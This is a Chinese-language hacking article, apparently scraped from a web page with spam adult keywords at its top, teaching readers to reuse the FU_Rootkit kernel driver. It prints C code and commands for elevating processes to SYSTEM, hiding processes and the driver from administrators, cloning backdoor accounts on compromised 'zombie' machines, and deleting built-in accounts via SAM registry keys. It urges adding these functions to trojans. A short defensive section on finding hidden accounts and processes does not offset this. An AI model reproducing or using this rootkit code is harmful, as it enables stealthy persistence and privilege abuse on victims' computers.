欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

養(yǎng)在深閨人未識:FU_Rootkit

 更新時間:2007年01月16日 00:00:00   作者:  
我在2004年11期黑防上刊登了《小工具巧刪Guest/Administrator賬戶》這篇文章,有不少朋友來信詢問工具是如何編寫的,其實這個工具里面大部分代碼是我拷貝FU_Rootkit過來的。既然朋友們喜歡,這幾天我又多了好多想法,那我就來講講怎么充分挖掘利用FU_Rootkit吧! 
先去www.rootkit.com把FU_Rootkit 給Down下來,以前它在Windows 2000專業(yè)版下面提升進程權限有問題,新版本已經修復這個問題。FU_Rootkit也算是“養(yǎng)在深閨人未識”了,比起Hxdef、AFX RootKit來名氣小多了,不過是金子終究是要發(fā)光的,這不,今天我們就讓它來發(fā)光了! 
FU_Rootkit是開源的,用C語言編寫,很容易移植。我的開發(fā)環(huán)境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2個部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接載入核心內存,F(xiàn)u.exe則是相應的應用程序。先來看看它的部分功能: 
[-pl] xxx 列舉所有運行進程 
[-ph] #PID 隱藏進程標識符為PID的進程 
[-pld] 列舉所有載入驅動程序 
[-phd] DRIVER_NAME 隱藏指定驅動 
[-pas] #PID 提升進程標識符為PID的進程權限至SYSTEM 
[-prl] 列出可用的權限名單 
[-prs] #PID #privilege_name 提升進程標識符為PID的進程權限至指定權限 
[-pss] #PID #account_name 改變進程令牌和SID 
可以看出FU_Rootkit不僅可以隱藏進程和驅動,改變進程令牌和SID,還可以例舉用Hook技術隱藏的進程和驅動。我們今天要做的就是利用Msdirectx.sys完成我們自己的黑客工具集的編寫! 
權限提升 
有了權限我們才能任意地操作,讓電腦為我們實現(xiàn)各種功能,所以第一步首先是權限提升。 
我們知道,提升進程權限可以用Psu工具,F(xiàn)U_Rootkit也能夠實現(xiàn)這個功能,它可以將任意進程提升到SYSTEM權限——不光可以給其它進程提升權限,還可以把自己的進程也提升為SYSTEM權限哦(在下面的文章中你將可以看到這個功能是多么的有用)! 
第一步:載入Msdirectx.sys 
具體代碼見InitDriver()函數。其實朋友們大可不必完全看懂這些代碼,把函數直接拷貝過去就OK了。 
第二步:查找進程的PID 
代碼如下: 
const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的進程名稱 
AddPrivilege(SE_DEBUG_NAME); //提升進程DEBUG權限 
HANDLE hRemoteProcess = NULL;  
DWORD pid = ProcessToPID(DESTPROC);//這里的pid就是我們進程PID 
// ProcessToPID函數如下: 
DWORD ProcessToPID(const char *InputProcessName)  
//將進程名轉換成進程PID的函數 
{  
DWORD aProcesses[1024], cbNeeded, cProcesses;  
unsigned int i;  
HANDLE hProcess = NULL;  
HMODULE hMod = NULL;  
char szProcessName[MAX_PATH] = "UnknownProcess";  
//提升進程權限至DEBUG權限 
AddPrivilege(SE_DEBUG_NAME);  
// 計算目前有多少進程, aProcesses[]用來存放有效的進程PIDs  
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )  
{  
return 0;  
}  
cProcesses = cbNeeded / sizeof(DWORD);  
// 按有效的PID遍歷所有的進程  
for ( i = 0; i < cProcesses; i++ )  
{  
// 打開特定PID的進程  
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |  
PROCESS_VM_READ,  
FALSE, aProcesses[i]);  
// 取得特定PID的進程名  
if ( hProcess )  
{  
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )  
{  
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );  
//將取得的進程名與輸入的進程名比較,如相同則返回進程PID  
if(!stricmp(szProcessName, InputProcessName))  
{  
CloseHandle( hProcess );  
return aProcesses[i];  
}  
}  
}//end of if ( hProcess )  
}//end of for  
//沒有找到相應的進程名,返回0  
CloseHandle( hProcess );  
return 0;  

第三步:提升進程權限至SYSTEM 
具體代碼見UpdateToSystem()函數。這樣我們的進程UserManager.exe就具備了SYSTEM權限了。 
攻擊篇 
當你得到肉雞的SYSTEM權限后,當然要把自己的后門進程或驅動器隱藏,然后克隆賬號,留個隱藏賬號什么的,下面我們就來看看這些功能如何用程序來實現(xiàn)。 
1.克隆帳號 
各位朋友看到小榕的CA工具是不是很眼饞,想不想自己寫一個?在黑防2003年的第7期《C語言克隆賬號》上已經有具體介紹。一般來講,克隆賬號的方法有2種:一種是利用系統(tǒng)服務的SYSTEM權限讀寫SAM文件;第二種是利用驅動提升進程權限。我們這里采用第二種辦法。在《C語言克隆賬號》一文中,由于其不具備SYSTEM權限,需要手工修改注冊表才能夠操作注冊表SAM文件夾,比較麻煩。在我們這里當然是沒有問題的,將其代碼COPY過來,粘在我們工程里面就可以了。 
2.進程隱藏 
進程隱藏實乃木馬病毒的必備防身本領,F(xiàn)U_Rootkit中的最基本功能之一就是進程隱藏,首先我們要知道進程的PID或者進程名,然后才能將它隱藏,隱藏代碼如下: 
DWORD HideProc(DWORD pid)//pid是你要隱藏的進程的PID 

DWORD d_bytesRead; 
DWORD success; 
if (!Initialized) 

return ERROR_NOT_READY; 

success = DeviceIoControl(gh_Device,  
IOCTL_ROOTKIT_HIDEME, 
(void *) &pid, 
sizeof(DWORD), 
NULL, 
0, 
&d_bytesRead, 
NULL); 
return success;  

假如你要想找出隱藏的進程,可以采用工具RTDector0.62工具,黑防以前就介紹過。 
3. 驅動隱藏 
驅動隱藏?很少見吧。有經驗的管理員一般都會使用命令Drivers.exe來查看載入的驅動(Drivers.exe可以在Windows 2000的資源包里面找到), 
看到Msdirectx.sys暴露出來了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隱藏起來,運行的命令是:“C:\fu.exe –phd msdirectx.sys”。當然這個功能我們也可以很輕松地移植到我們的程序中去。  

防御篇 
千萬不要以為FU_Rootkit得到SYSTEM權限只是用來攻擊,不能防守,其實Rootkit是一把“雙刃劍”,運用得當,同樣是防御的好幫手。同時,作為一名菜鳥,當然是防守為先,所以請看防守篇。 
1. 系統(tǒng)用戶查看 
眼下只要翻開一本黑客雜志,經常看到什么“隱藏帳號”、“不死帳號”什么的,嚇得我等菜鳥心驚膽顫,經常對著用戶管理發(fā)呆,究竟有沒有問題呢?這里我們可以利用LPUSER_INFO_3讀取用戶信息,包括用戶名、用戶全名、用戶描述、登錄次數、登錄權限以及上次登錄時間等參數,代碼較長而且簡單,這里就不貼了,有興趣的可以查看DWORD CUserManagerDlg::UserALLE()函數。 
當然,列舉賬號可以直接從SAM\\SAM\\Domains\\Account\\Users\\Names\中讀取,然后與LPUSER_INFO_3中讀出來的賬號進行對比,這樣就能找出隱藏的賬號,將那些隱藏的、不死的統(tǒng)統(tǒng)打回原形,讓你把賬號看得“清清楚楚,明明白白”。 
2. 刪除Guest 
先來看看如何刪除Guest用戶吧。獲取SYSTEM權限后,只要刪除在注冊表SAM文件夾中對應的Guest和000001F5文件夾就OK了! 
void CUserManagerDlg::Deleteguest()  

BOOL upResult; 
upResult=UpdateToSystem(); 
//先查看一下進程提示權限至SYSTEM成功沒有 
if(upResult)//如果權限提升SYSTEM成功的話 

// 刪除GUEST用戶! 
BOOL dResult; 
dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest");//刪除Guest文件夾 
BOOL dResult2; 
dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\000001F5");//刪除guest對應的ID號000001F5文件夾 
if(dResult&&dResult2) 

AfxMessageBox("成功刪除GUEST用戶!"); 
}  
else 

AfxMessageBox("刪除GUEST用戶失?。?quot;);  


else 

AfxMessageBox("提升至SYSTEM權限失??!");  


其中DelNT()函數是專門定義用來刪除注冊表子鍵的函數。 
3. 刪除Administrator 
看到標題你可不要嚇一跳,Administrator一般情況下是不能刪除的,當然你可以到控制面板->管理工具->計算機管理里面重命名該賬戶,也可以使用NT Resource Kit提供的Passprop工具啟用對Administrator的鎖定。我們這里當然要挑戰(zhàn)極限:刪除Administrator!代碼跟刪除Guest用戶的代碼差不多,換個參數就可以了,分別刪除注冊表SAM文件夾中的Administrator和000001F4文件夾就可以了。而且可以在Administrator當前用戶下刪除,強吧?嘿嘿。假如你只有這么一個管理員賬號的話呢,不好意思,恭喜你:你的機器上從此沒有管理員了! 

小提示:強烈建議刪除Administrator之前一定要先創(chuàng)建一個其它名字的管理員賬號!據《微軟信息安全文集》中說,刪除Administrator和Guest系統(tǒng)內置賬戶有可能導致破壞SAM數據庫,不過《微軟信息安全文集》的作者同時聲明:經他測試,沒有發(fā)現(xiàn)副作用。 

4. 查殺進程篇 
朋友們是否經常遇到這種情況:在任務管理器中發(fā)現(xiàn)一個未知進程,并且殺不掉,說是權限不夠,這個問題在我們獲取System權限后就不再是問題,現(xiàn)在病毒、木馬等都是雙進程,互相監(jiān)控,給我們查殺進程帶來很大不便,需要我們能夠同時查殺多個進程。選用Listview控件作為進程的列舉控件,將Checkbox選項選中,這樣我們就可以同時選中多個進程進行查殺,爽吧?! 
5. 列舉用Hook技術隱藏的進程和驅動 
這個功能就是FU_Rootkit的過人之處了,可以幫助你查找利用HOOK技術隱藏的進程和木馬。實現(xiàn)方法比較簡單,大家可以去源碼中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函數。 

本文利用FU_Rootkit獲取SYSTEM權限后,完成了很多實用的黑客小工具, System和Administrator權限一般人看起來感覺都差不多,但在一些與系統(tǒng)內核交互的細節(jié)上,可以看出System權限要更大一些。譬如說注冊表中的某些文件夾、對物理內存有讀寫能力等方面。因此,獲取System權限后所能做的事情遠遠不止我們上面所說的這些,希望大家共同挖掘。 
http://www.rootkit.com/上有很多開源的好資源,研究并擴展其功能便可以寫出很多有用的小軟件。將其功能添加到我們小馬中去,將會大大提高其生命力。朋友們,現(xiàn)在是不是感覺黑客軟件不過如此,人人能寫?如果是這樣,也不枉費我一番苦心。由于工作關系,時間確實有限,不可能將上面的功能全部一一實現(xiàn)在代碼中,其實已經是體力活了,很多功能都只需要把代碼COPY進去就可以了。特將刪除Guest/Administrator的小工具和FU_Rootkit的代碼附上,朋友們升級了可要寄給我一份哦! 

相關文章

最新評論